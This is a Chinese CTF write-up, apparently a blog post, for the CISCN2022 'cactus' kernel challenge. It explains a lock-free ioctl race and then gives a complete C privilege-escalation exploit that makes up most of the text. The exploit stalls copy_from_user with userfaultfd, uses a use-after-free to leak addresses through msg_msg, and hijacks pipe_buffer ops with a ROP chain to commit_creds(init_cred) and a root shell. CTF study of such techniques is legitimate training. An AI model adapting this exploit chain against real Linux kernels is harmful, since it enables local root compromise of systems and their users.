• 【userfaultfd+msg_msg+pipe_buffer】CISCN2022-cactus

    启动脚本：

    1. #!/bin/sh
    2. qemu-system-x86_64 \
    3.     -m 128M \
    4.     -kernel ./bzImage \
    5.     -initrd ./rootfs.cpio \
    6.     -monitor /dev/null \
    7.     -append "root=/dev/ram console=ttyS0 oops=panic quiet panic=1 kaslr" \
    8.     -cpu kvm64,+smep,+smap\
    9.     -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    10.     -nographic \
    11.     -no-reboot \
    12.     -s

    开启了 smep、smap、kaslr 和 kpti 保护。经过测试，没有开启 slab_freelist_random 保护。

    如何测试有没有开启 slab_freelist_random 等保护呢？很简单，自己写个驱动去测试就行了 

     程序分析

    虽然 kernel_release 再释放 buffer 后没有置空，但是 kernel_open 中设置了 flags 字段导致我们无法同时打开多次设备文件。所以这里不会产生漏洞，而 kernel_read 和 kernel_write 都是针对 buffer 指针的，所以不做分析。

    这里只分析可以利用的功能：kernel_ioctl

    该函数实现了一个 1024 大小的菜单堆，分别有两次 add、edit、dele 的机会，但是整个过程都没有上锁。

    可以利用的点主要在于 edit 时使用了 copy_from_user，并且整个过程都没有上锁。

    漏洞利用

    通过查看内核版本，发现其为 version 5.10.102，所以这里我们是可以使用 userfaultfd 系统调用的。

     所以我们可以在 edit 时使用 userfaultfd 将其卡住，然后 dele 掉这个堆块，再将该堆块申请到其他结构体上，这时候我们就可以实现任意写的功能，但是这里只有两次机会。

    msg_msg 泄漏内核基地址和堆地址

    这里泄漏堆地址是为了后面利用 pipe_buffer 提权用的。

    经过测试并没有开启 slab_freelist_random 保护，所以我们可以利用一次任意写去修改 msg_msg 的 m_ts 字段从而实现越界读，并且形成如下堆布局去泄漏内核基地址和堆地址：

    所以通过越界读，我们可以读取 pipe_buffer 中的 anon_pipe_buf_ops 去泄漏内核基地址，通过 msg_msg_2 中的 prev 字段我们就可以泄漏 msg_msg_1 的堆地址。

    pipe_buffer 提权

    这时我们可以将 msg_msg_1 释放掉，所以下一次申请堆块时就会拿到该堆块，因此我们可以再利用一次任意写去劫持 pipe_buffer 进行提取。

    exp如下：

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4.  
    5. #include 
    6. #include 
    7. #include 
    8. #include 
    9. #include 
    10. #include 
    11. #include 
    12. #include 
    13. #include 
    14. #include 
    15. #include 
    16. #include 
    17. #include 
    18. #include 
    19. #include 
    20. #include 
    21. #include 
    22. #include 
    23. #include 
    24. #include 
    25. #include 
    26. #include 
    27. #include 
    28.  
    29. #define PIPE_BUFFER_NUM 1
    30. #define QID_NUM 1
    31. #define GLOBAL_FUNC_TABLE 0xffffffff8203ed80
    32. size_t pop_rdi = 0xffffffff8108c420; // pop rdi ; ret
    33. size_t magic_gadget = 0xFFFFFFFF812C4CCE;
    34. size_t swapgs_kpti = 0xFFFFFFFF81C00FCB;
    35. size_t init_cred = 0xffffffff82a6b700;
    36. size_t commit_creds = 0xffffffff810c9540;
    37. size_t kernel_offset = 0;
    38. size_t pipe_buffer_addr = 0;
    39.  
    40. int fd;
    41. int qid;
    42. int global_pipe_fd[2];
    43. size_t uffd_buf[512];
    44. pthread_t moniter_thr;
    45. sem_t add_leak;
    46. sem_t edit_leak;
    47. sem_t add_hijack;
    48. sem_t edit_hijack;
    49. sem_t continue_sem;
    50.  
    51. struct args {
    52.         size_t idx;
    53.         size_t size;
    54.         char* buf;
    55. };
    56.  
    57. struct msg_buf {
    58.         long m_type;
    59.         char m_text[1];
    60. };
    61.  
    62. struct msg_header {
    63.         void* l_next;
    64.         void* l_prev;
    65.         size_t m_type;
    66.         size_t m_ts;
    67.         void* next;
    68.         void* security;
    69. };
    70.  
    71. void err_exit(char *msg)
    72. {
    73.     printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    74.     exit(EXIT_FAILURE);
    75. }
    76.  
    77. void add(char* buf)
    78. {
    79.         struct args arg = { .size = buf };
    80.         if (ioctl(fd, 0x20, &arg) < 0) err_exit("add object");
    81. }
    82.  
    83. void dele(size_t idx)
    84. {
    85.         struct args arg = { .idx = idx };
    86.         ioctl(fd, 0x30, &arg);
    87. }
    88.  
    89. void edit(size_t idx, size_t size, char* buf)
    90. {
    91.         struct args arg = { .idx = idx, .size = size, .buf = buf };
    92.         ioctl(fd, 0x50, &arg);
    93. }
    94.  
    95.  
    96. void info(char *msg)
    97. {
    98.     printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    99. }
    100.  
    101. void hexx(char *msg, size_t value)
    102. {
    103.     printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    104. }
    105.  
    106. void binary_dump(char *desc, void *addr, int len) {
    107.     uint64_t *buf64 = (uint64_t *) addr;
    108.     uint8_t *buf8 = (uint8_t *) addr;
    109.     if (desc != NULL) {
    110.         printf("\033[33m[*] %s:\n\033[0m", desc);
    111.     }
    112.     for (int i = 0; i < len / 8; i += 4) {
    113.         printf("  %04x", i * 8);
    114.         for (int j = 0; j < 4; j++) {
    115.             i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
    116.         }
    117.         printf("   ");
    118.         for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    119.             printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    120.         }
    121.         puts("");
    122.     }
    123. }
    124.  
    125. /* root checker and shell poper */
    126. void get_root_shell(void)
    127. {
    128.     if(getuid()) {
    129.         puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
    130.         sleep(5);
    131.         exit(EXIT_FAILURE);
    132.     }
    133.  
    134.     puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    135.     puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    136.  
    137.     char* args[] = { "/bin/sh", NULL };
    138.     execve("/bin/sh", args, NULL);
    139.  
    140. //    system("/bin/sh");
    141.  
    142.     /* to exit the process normally, instead of segmentation fault */
    143.     exit(EXIT_SUCCESS);
    144. }
    145.  
    146. /* userspace status saver */
    147. size_t user_cs, user_ss, user_rflags, user_rsp;
    148. void save_status()
    149. {
    150.     asm volatile (
    151.         "mov user_cs, cs;"
    152.         "mov user_ss, ss;"
    153.         "mov user_rsp, rsp;"
    154.         "pushf;"
    155.         "pop user_rflags;"
    156.     );
    157.     puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
    158. }
    159.  
    160. /* bind the process to specific core */
    161. void bind_core(int core)
    162. {
    163.     cpu_set_t cpu_set;
    164.  
    165.     CPU_ZERO(&cpu_set);
    166.     CPU_SET(core, &cpu_set);
    167.     sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    168.  
    169.     printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    170. }
    171.  
    172. void register_userfaultfd(void* buf, void* handler)
    173. {
    174.         long uffd;
    175.         struct uffdio_api uffdio_api;
    176.         struct uffdio_register uffdio_register;
    177.  
    178.         uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
    179.         if (uffd < 0) err_exit("syscall __NR_userfaultfd");
    180.  
    181.         uffdio_api.api = UFFD_API;
    182.         uffdio_api.features = 0;
    183.         if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) err_exit("ioctl UFFDIO_API");
    184.  
    185.         uffdio_register.range.start = (unsigned long)buf;
    186.         uffdio_register.range.len = 0x1000;
    187.         uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    188.         if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) err_exit("ioctl UFFDIO_REGISTER");
    189.  
    190.         if (pthread_create(&moniter_thr, NULL, handler, (void*)uffd)) err_exit("pthread_create userfaultfd");
    191. }
    192.  
    193.  
    194. void leak(void* args)
    195. {
    196.         long uffd;
    197.         struct uffd_msg msg;
    198.         struct uffdio_copy uffdio_copy;
    199.  
    200.         uffd = (long)args;
    201.  
    202.         for (;;)
    203.         {
    204.                 int res;
    205.                 struct pollfd pollfd;
    206.                 pollfd.fd = uffd;
    207.                 pollfd.events = POLLIN;
    208.                 if (poll(&pollfd, 1, -1) == -1) err_exit("poll in leak thread");
    209.  
    210.  
    211.                 res = read(uffd, &msg, sizeof(msg));
    212.                 if (res == 0) err_exit("EOF in leak userfaultfd");
    213.                 if (res == -1) err_exit("read in leak thread");
    214.                 if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("err event in leak thread");
    215.  
    216.                 info("Leak in userfaultfd");
    217.                 sem_post(&add_leak);
    218.                 uffd_buf[0] = 0xdeadbeef;
    219.                 uffd_buf[1] = 0xbeefdead;
    220.                 uffd_buf[2] = 1;
    221.                 uffd_buf[3] = 0x1000-0x30;
    222.                 sem_wait(&edit_leak);
    223.  
    224.                 uffdio_copy.src = (unsigned long)uffd_buf;
    225.                 uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000-1);
    226.                 uffdio_copy.len = 0x1000;
    227.                 uffdio_copy.mode = 0;
    228.                 uffdio_copy.copy = 0;
    229.                 if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ioctl UFFDIO_COPY in leak thread");
    230.                 sem_post(&continue_sem);
    231.         }
    232. }
    233.  
    234. void uaf_to_leak(void* args)
    235. {
    236.         struct msg_buf* msg;
    237.         char msg_buffer[0x400];
    238.         memset(msg_buffer, 'A', sizeof(msg_buffer));
    239.         msg = (struct msg_buf*)msg_buffer;
    240.         msg->m_type = 1;
    241.         sem_wait(&add_leak);
    242.         info("uaf_to_msgmsg");
    243.         dele(0);
    244.         qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
    245.         if (qid < 0) err_exit("msgget in uaf_to_msgmsg");
    246.         if (msgsnd(qid, msg, 0x400-0x30, 0) < 0) err_exit("msgsnd int uaf_to_msgmsg");
    247.         sem_post(&edit_leak);
    248. }
    249.  
    250. void hijack(void* args)
    251. {
    252.         long uffd;
    253.         struct uffd_msg msg;
    254.         struct uffdio_copy uffdio_copy;
    255.  
    256.         uffd = (long)args;
    257.  
    258.         for (;;)
    259.         {
    260.                 int res;
    261.                 struct pollfd pollfd;
    262.                 pollfd.fd = uffd;
    263.                 pollfd.events = POLLIN;
    264.                 if (poll(&pollfd, 1, -1) == -1) err_exit("poll in hijack thread");
    265.  
    266.                 res = read(uffd, &msg, sizeof(msg));
    267.                 if (res == 0) err_exit("EOF in hijack userfaultfd");
    268.                 if (res == -1) err_exit("read in hijack thread");
    269.                 if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("err event in hijack thread");
    270.  
    271.                 info("Hijack in userfaultfd");
    272.                 sem_post(&add_hijack);
    273.                 uffd_buf[0] = 0;
    274.                 uffd_buf[1] = 0;
    275.                 uffd_buf[2] = pipe_buffer_addr+0x20;
    276.                 uffd_buf[3] = 0;
    277.                 uffd_buf[4] = pop_rdi+kernel_offset;
    278.                 uffd_buf[5] = magic_gadget+kernel_offset;
    279.                 uffd_buf[6] = pop_rdi+kernel_offset;
    280.                 uffd_buf[7] = init_cred+kernel_offset;
    281.                 uffd_buf[8] = commit_creds+kernel_offset;
    282.                 uffd_buf[9] = swapgs_kpti+kernel_offset;
    283.                 uffd_buf[10] = 0;
    284.                 uffd_buf[11] = 0;
    285.                 uffd_buf[12] = get_root_shell;
    286.                 uffd_buf[13] = user_cs;
    287.                 uffd_buf[14] = user_rflags;
    288.                 uffd_buf[15] = user_rsp;
    289.                 uffd_buf[16] = user_ss;
    290.                 sem_wait(&edit_hijack);
    291.  
    292.                 uffdio_copy.src = (unsigned long)uffd_buf;
    293.                 uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000-1);
    294.                 uffdio_copy.len = 0x1000;
    295.                 uffdio_copy.mode = 0;
    296.                 uffdio_copy.copy = 0;
    297.                 if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ioctl UFFDIO_COPY in hijack thread");
    298.                 sem_post(&continue_sem);
    299.         }
    300. }
    301.  
    302. void uaf_to_hijack_pipe_buffer(void* args)
    303. {
    304.         int res;
    305.         sem_wait(&add_hijack);
    306.         dele(0);
    307.         info("uaf_to_pipe_buffer");
    308.         res = pipe(global_pipe_fd);
    309.         if (res < 0) err_exit("create pipe");
    310.         res = write(global_pipe_fd[1], "pwnpwner", 8);
    311.         if (res < 0) err_exit("write pipe");
    312.         sem_post(&edit_hijack);
    313. }
    314.  
    315. int main(int argc, char** argv, char** env)
    316. {
    317.         bind_core(0);
    318.         save_status();
    319.         pthread_t leak_thr;
    320.         pthread_t hijack_thr;
    321.         char arg_buf[1024];
    322.         size_t buf[1024];
    323. //      size_t kernel_offset;
    324.         int pipe_fd[PIPE_BUFFER_NUM][2];
    325.         char *uffd_buf1;
    326.         char *uffd_buf2;
    327.         int res;
    328.         int my_qid[QID_NUM];
    329.         struct msg_buf* msg;
    330.         struct msg_header* first_msg;
    331.         struct msg_header* second_msg;
    332.         char message[0x400];
    333.  
    334.         msg = (struct msg_buf*)message;
    335.         fd = open("/dev/kernelpwn", O_RDWR);
    336.         if (fd < 0) err_exit("open /dev/kernelpwn");
    337.  
    338.         uffd_buf1 = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1 , 0);
    339.         uffd_buf2 = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1 , 0);
    340.         register_userfaultfd(uffd_buf1, (void*)leak);
    341.         register_userfaultfd(uffd_buf2, (void*)hijack);
    342.  
    343.         sem_init(&add_leak, 0, 0);
    344.         sem_init(&edit_leak, 0, 0);
    345.         sem_init(&add_hijack, 0, 0);
    346.         sem_init(&edit_hijack, 0, 0);
    347.         sem_init(&continue_sem, 0, 0);
    348.  
    349.         pthread_create(&leak_thr, NULL, uaf_to_leak, NULL);
    350.         pthread_create(&hijack_thr, NULL, uaf_to_hijack_pipe_buffer, NULL);
    351.  
    352.         memset(arg_buf, 'A', sizeof(arg_buf));
    353.         add(arg_buf);
    354.         edit(0, 0x20, uffd_buf1);
    355.         sem_wait(&continue_sem);
    356.  
    357.         for (int i = 0; i < PIPE_BUFFER_NUM; i++)
    358.         {
    359.                 if (pipe(pipe_fd[i]) < 0) err_exit("create pipe");
    360.                 if (write(pipe_fd[i][1], "pwnpwner", 8) < 0) err_exit("write pipe");
    361.         }
    362.  
    363.         for (int i = 0; i < QID_NUM; i++)
    364.         {
    365.                 my_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
    366.                 if (my_qid[i] < 0) err_exit("msgget in uaf_to_msgmsg");
    367.                 msg->m_type = 1;
    368.                 *(int*)&msg->m_text[0] = 0xAAAAAAAA + 0x11111111*i;
    369.                 if (msgsnd(my_qid[i], msg, 0x400-0x30, 0) < 0) err_exit("msgsnd int uaf_to_msgmsg");
    370.                 msg->m_type = 2;
    371.                 *(int*)&msg->m_text[0] = 0xAAAAAAAA + 0x11111111*(i+1);
    372.                 if (msgsnd(my_qid[i], msg, 0x400-0x30, 0) < 0) err_exit("msgsnd int uaf_to_msgmsg");
    373.         }
    374.  
    375.         res = msgrcv(qid, buf, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
    376.         if (res < 0) err_exit("msgrev");
    377.         hexx("msgrcv msgmsg length", res);
    378.         binary_dump("msg_msg data", (char*)buf+8+0x400-0x30, 0xc00);
    379.         if (buf[123+2] < 0xffffffff81000000 || (buf[123+2]&0xfff) != 0xd80) err_exit("No OOB the pipe_buffer");
    380.         kernel_offset = buf[123+2] - GLOBAL_FUNC_TABLE;
    381.         hexx("kernel_offset", kernel_offset);
    382.  
    383.         first_msg = (struct msg_header*)((char*)buf+8+0x400-0x30+0x400);
    384.         second_msg = (struct msg_header*)((char*)buf+8+0x400-0x30+0x800);
    385.         pipe_buffer_addr = second_msg->l_prev;
    386.         if (*(int*)((char*)first_msg+0x30) != 0xaaaaaaaa) err_exit("the nearby object is not first_msg");
    387.         if (*(int*)((char*)second_msg+0x30) != 0xbbbbbbbb) err_exit("the nearby object is not second_msg");
    388.         hexx("first_msg->l_next", first_msg->l_next);
    389.         hexx("first_msg->l_prev", first_msg->l_prev);
    390.         hexx("second_msg->l_next", second_msg->l_next);
    391.         hexx("second_msg->l_prev", second_msg->l_prev);
    392.         hexx("pipe_buffer_addr", pipe_buffer_addr);
    393.  
    394.         for (int i = 0; i < QID_NUM; i++)
    395.         {
    396.                 res = msgrcv(my_qid[i], buf, 0x400-0x30, 2, 0);
    397.                 if (res < 0) err_exit("msgrev unlink");
    398.                 hexx("msgrcv msgmsg length", res);
    399.                 res = msgrcv(my_qid[i], buf, 0x400-0x30, 1, 0);
    400.                 if (res < 0) err_exit("msgrev unlink");
    401.                 hexx("msgrcv msgmsg length", res);
    402.         }
    403.  
    404.         add(arg_buf);
    405.         edit(0, 0x100, uffd_buf2);
    406.         sem_wait(&continue_sem);
    407.  
    408.         if (close(global_pipe_fd[0]) < 0) err_exit("close pipe");
    409.         if (close(global_pipe_fd[1]) < 0) err_exit("close pipe");
    410.  
    411.         return 0;
    412. }

    打包运行即可完成提取： 

  • 相关阅读:
    泛微OA_lang2sql 任意文件上传漏洞复现
    UE 数据表 DataTable
    springboot启动流程
    全面解析缓存应用经典问题
    Windows安装SSH超详细教程
    深度卷积神经网络（AlexNet）
    CSS重点知识整理1
    Git常用命令
    大数据处理技术作业——使用HBase&MongoDB&MapReduce进行数据存储和管理
    msf对小米11进行安全渗透
  • 原文地址：https://blog.csdn.net/qq_61670993/article/details/133737329